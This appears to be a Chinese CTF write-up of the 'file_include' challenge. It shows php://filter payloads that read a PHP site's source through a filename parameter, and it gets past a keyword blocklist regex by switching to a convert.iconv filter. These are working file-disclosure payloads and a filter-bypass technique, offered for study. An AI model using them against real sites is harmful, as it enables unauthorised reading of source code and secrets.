姿势
题目描述:怎么读取文件呢?
思路: 由代码审计可知,可通过filename参数构造POC,来读取check.php
POC的构造涉及PHP伪协议,参考链接:文件包含 | PHP伪协议实战
POC:
?filename=php://filter/read=convert.base64-encode/resource=check.php
回显如下:
猜测关键字被过滤,怎么办呢?
该题涉及到 convert转换过滤器
常见的convert转换过滤器有这两种:convert.iconv.<input-encoding>.<output-encoding>
、convert.quoted-printable-encode
对于第一种,即convert.iconv.<input-encoding>.<output-encoding>
来说,它通过 PHP 的 iconv 扩展实现,该扩展可以帮助将输入数据从指定的字符编码(<input-encoding>
)转换为另一个字符编码(<output-encoding>
)
其中input-encoding、output-encoding支持的编码格式为:
UCS-4*
UCS-4BE
UCS-4LE*
UCS-2
UCS-2BE
UCS-2LE
UTF-32*
UTF-32BE*
UTF-32LE*
UTF-16*
UTF-16BE*
UTF-16LE*
UTF-7
UTF7-IMAP
UTF-8*
ASCII*
EUC-JP*
SJIS*
eucJP-win*
SJIS-win*
ISO-2022-JP
ISO-2022-JP-MS
CP932
CP51932
SJIS-mac(别名:MacJapanese)
SJIS-Mobile#DOCOMO(别名:SJIS-DOCOMO)
SJIS-Mobile#KDDI(别名:SJIS-KDDI)
SJIS-Mobile#SOFTBANK(别名:SJIS-SOFTBANK)
UTF-8-Mobile#DOCOMO(别名:UTF-8-DOCOMO)
UTF-8-Mobile#KDDI-A
UTF-8-Mobile#KDDI-B(别名:UTF-8-KDDI)
UTF-8-Mobile#SOFTBANK(别名:UTF-8-SOFTBANK)
ISO-2022-JP-MOBILE#KDDI(别名:ISO-2022-JP-KDDI)
JIS
JIS-ms
CP50220
CP50220raw
CP50221
CP50222
ISO-8859-1*
ISO-8859-2*
ISO-8859-3*
ISO-8859-4*
ISO-8859-5*
ISO-8859-6*
ISO-8859-7*
ISO-8859-8*
ISO-8859-9*
ISO-8859-10*
ISO-8859-13*
ISO-8859-14*
ISO-8859-15*
ISO-8859-16*
byte2be
byte2le
byte4be
byte4le
BASE64
HTML-ENTITIES(别名:HTML)
7bit
8bit
EUC-CN*
CP936
GB18030
HZ
EUC-TW*
CP950
BIG-5*
EUC-KR*
UHC(别名:CP949)
ISO-2022-KR
Windows-1251(别名:CP1251)
Windows-1252(别名:CP1252)
CP866(别名:IBM866)
KOI8-R*
KOI8-U*
ArmSCII-8(别名:ArmSCII8)
对于本题,将初始POC
?filename=php://filter/read=convert.base64-encode/resource=check.php
修改为
?filename=php://filter/convert.iconv.UTF-8.UTF-16/resource=check.php
回显如下:
该代码使用了正则表达式来匹配指定的字符串,如果输入中包含了 /base|be|encode|print|zlib|quoted|write|rot13|read|string/i
中的任何一个字符串,就会输出 “do not hack!” 并关闭脚本。
<?php
if($_GET["filename"]) // 检查输入内容
{
$preg_match_username = 'return
preg_match("/base|be|encode|print|zlib|quoted|write|rot13|read|string/i", $_GET["filename"]);' // 匹配字符串
;
if(eval($preg_match_username)) // 执行匹配,如果输入含有上述字符串
{
die("do not hack!"); // 关闭脚本,并输出 "do not hack!"
}
}
也就是说我们修改POC之后得到的check.php中的内容其实是逻辑判断代码,与flag无关
故猜想flag在flag.php中,修改POC即可得到flag
总结
以上为[CTF/网络安全] 攻防世界 file_include 解题详析,考察php伪协议和convert转换过滤器相关知识点,读者可躬身实践。文章来源:https://www.toymoban.com/news/detail-727616.html
我是秋说,我们下次见。文章来源地址https://www.toymoban.com/news/detail-727616.html
到了这里,关于[CTF/网络安全] 攻防世界 file_include 解题详析(php伪协议+convert转换过滤器)的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!